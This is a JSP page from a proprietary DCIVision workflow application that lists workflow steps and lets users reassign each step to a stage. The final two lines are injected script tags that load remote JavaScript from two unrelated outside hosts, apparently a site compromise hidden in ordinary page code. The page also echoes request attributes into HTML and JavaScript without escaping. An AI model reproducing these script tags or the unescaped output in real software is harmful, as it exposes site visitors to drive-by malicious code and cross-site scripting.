<%
/*
 * @(#)ListWorkflowStep.jsp
 *
 * Copyright (c) 2005 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowRecord.jsp

  This is a ListWorkflowRecord page.  It shows the active workflow records' record in EIP.

    @author             Dick Xie
    @company            DCIVision Ltd
    @creation date      30/05/2005
    @version            $Revision: 1.18.4.9 $
*/

%>
<%try{%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listStageForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowStageForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  List workflowStageList = (List)request.getAttribute("workflowStageList");
  String[][] workflowStageArr = new String[workflowStageList.size()+1][2];

   workflowStageArr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
   workflowStageArr[0][1] = "-1";
   for (int i=0; i<workflowStageList.size(); i++) {
    WorkflowStage workflowStage = (WorkflowStage) workflowStageList.get(i);
    workflowStageArr[i+1][0] = workflowStage.getStageName();
    workflowStageArr[i+1][1] = workflowStage.getID().toString();
   }

  String workflowStepList="workflowStepList";
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.step_seq", "STEP_SEQ"},
                            {"workflow.label.step_name", "STEP_NAME"},
                            {"dms.label.description", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.create_date", "CREATE_DATE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"},
                            {"workflow.columnheader.related_stage", GlobalConstant.NOT_AVAILABLE}
                            //{"workflow.columnheader.is_times", ""}
                          };

  String[][] SEARCH_MAP = { {"workflow.label.step_name", "STEP_NAME"}

                          };

  int     COLUMN_OFFSET = 2;

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/




%>
<script language="Javascript">
<!--
// add by sars
function validateNull(frm)
{
  var hasChecked = false;

  for (var i = 0; i < frm.elements.length; i++)
  {
    if (frm.elements[i].name == "basicSelectedID")
    {
       if (frm.elements[i].checked)
       {
         hasChecked = true;
         break;
       }
    }
  }
  if (!hasChecked)
   {
      alert("<bean:message key='common.message.no_record_selected'/>");
      return(false);
   }
}

function custOpSave(frm)
  {
    if(validateNull(frm) == false)
    {
     return false;
    }

    if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  if (frm.basicSelectedID) {
  var workflowStageIDs="";

  if (frm.basicSelectedID.value){
    var selectValue=eval('frm.workflowStage_'+frm.basicSelectedID.value);
    workflowStageIDs=frm.basicSelectedID.value+":"+selectValue.value+":0";
    }
  else {
    for(var j = 0; j < frm.basicSelectedID.length; j++){
    if (frm.basicSelectedID[j].checked){
        var thisName = eval('frm.workflowStage_'+frm.basicSelectedID[j].value);
        if (workflowStageIDs=="") {
            workflowStageIDs += frm.basicSelectedID[j].value + ":" + thisName.value;
        } else {
            workflowStageIDs += "|" + frm.basicSelectedID[j].value + ":" + thisName.value;
        }
    var isPendingName = eval('frm.ispending_'+frm.basicSelectedID[j].value);

   workflowStageIDs+=":"+"0";

  }
 }
}
}
//alert(workflowStageIDs);
if (workflowStageIDs){
frm.workflowStageIDs.value=workflowStageIDs;}
  frm.opMode.value = OP_MODE_UPDATE;
  frm.navMode.value = "LLL,<%=request.getAttribute("groupName")%>,<%=request.getAttribute("recordName")%>";
  frm.submit();
  return(false);
}



function selectCheckbox(selectValue) {
var frm;
//alert(selectValue.name);
//alert(selectValue.value);
//alert(document.forms[1].name);
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
var selectValue = selectValue.name;
if (frm.basicSelectedID) {
    if (frm.basicSelectedID.value)
        frm.basicSelectedID.checked="true";
  for(var j = 0; j <= frm.basicSelectedID.length; j++){
   if (frm.basicSelectedID[j].value==selectValue.substring(14)){
   frm.basicSelectedID[j].checked="true";
   break;
   }
  }

}}
-->
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Form Section Begin -->
<html:form  action="workflow/ListWorkflowStepAndStage" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="workflowGroupID"/>
<html:hidden property="workflowStageIDs"/>
<html:hidden property="action" value="return_searchStage"/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/>[<%=request.getAttribute("groupName")%>]<%if(!Utility.isEmpty(request.getAttribute("recordName"))){%>[<%=request.getAttribute("recordName")%>]<%}%> </font><layout:returnButton>
ListWorkflowStage.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>&ID=<bean:write name='listStageForm' property='workflowRecordID'/>&action=return_searchStage
</layout:returnButton>
</layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField" onkeypress="onKeyPress();">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType' onkeypress="onKeyPress();">
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPress();"/>
      <html:standardButton label="common.label.search" onClick="return OpList(listStageForm, '${listStageForm.sortAttribute}', '${listStageForm.sortOrder}')"/>
      <html:standardButton label="common.label.reset" onClick="return OpListReset(listStageForm)"/>
    </td>
  </tr>
</table>
<!-- Search Panel End -->
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
 <table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listStageForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listStageForm.getSortAttribute()%>" sortOrder="<%=listStageForm.getSortOrder()%>" copyColumn="false" editColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowStep" name="<%=workflowStepList%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowStep).getID()%>);">
    <td align="center">
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workflowStep' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>


    <td nowrap><bean:write name='workflowStep' property='stepSeq'/>
    </td>
    <td><bean:write name='workflowStep' property='stepName'/></td>

    <td><bean:write name='workflowStep' property='description'/></td>
    <td><bean:write name='workflowStep' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowStep' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='workflowStep' property='updaterName'/></td>
    <td class="bodyVerySmall">
    <select name="workflowStage_<bean:write name='workflowStep' property='ID'/>" onchange="return selectCheckbox(this);">
    <%for( int i = 0; i< workflowStageArr.length; i++) {%>
        <option value='<%=workflowStageArr[i][1]%>' <%if(workflowStageArr[i][1].equals("" + ((WorkflowStep)workflowStep).getWorkflowStageID())) {%>selected='true'<%}%>><%=workflowStageArr[i][0]%></option>
        <%}%>
      </select></td>
      <!--
    <td class="bodyVerySmall"><input type="checkbox" name="ispending_<bean:write name='workflowStep' property='ID'/>" <%if(GlobalConstant.RECORD_STATUS_PENDING.equals(((WorkflowStep)workflowStep).getRecordStatus())) {%>checked='true'<%}%>/></td>
    -->
  </tr>
  </logic:iterate>

  <!-- Record Looping End -->

  <!-- Pager Information Begin -->

  <!-- Pager Information End -->
  <logic:empty name="<%=workflowStepList%>">
<tr class="listContent" ><td  colspan="8" align="center" height="20" >
  <bean:message key="common.list.no_record_found"/>
</td></tr>
</logic:empty>
</table>
</td></tr>

</table>
<!-- Table Showing Record List End -->
<tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='10'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(listStageForm.getNavMode()) && !Utility.isEmpty((List)request.getAttribute("workflowStageList"))) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave(listStageForm)"/>
    <%} %>
    </td>
  </tr>
</td></tr></table>
</html:form>
<%
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
%>
<!-- Form Section End -->
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)OpList(listStageForm, '<bean:write name='listStageForm' property='sortAttribute' replace=''/>', '<bean:write name='listStageForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>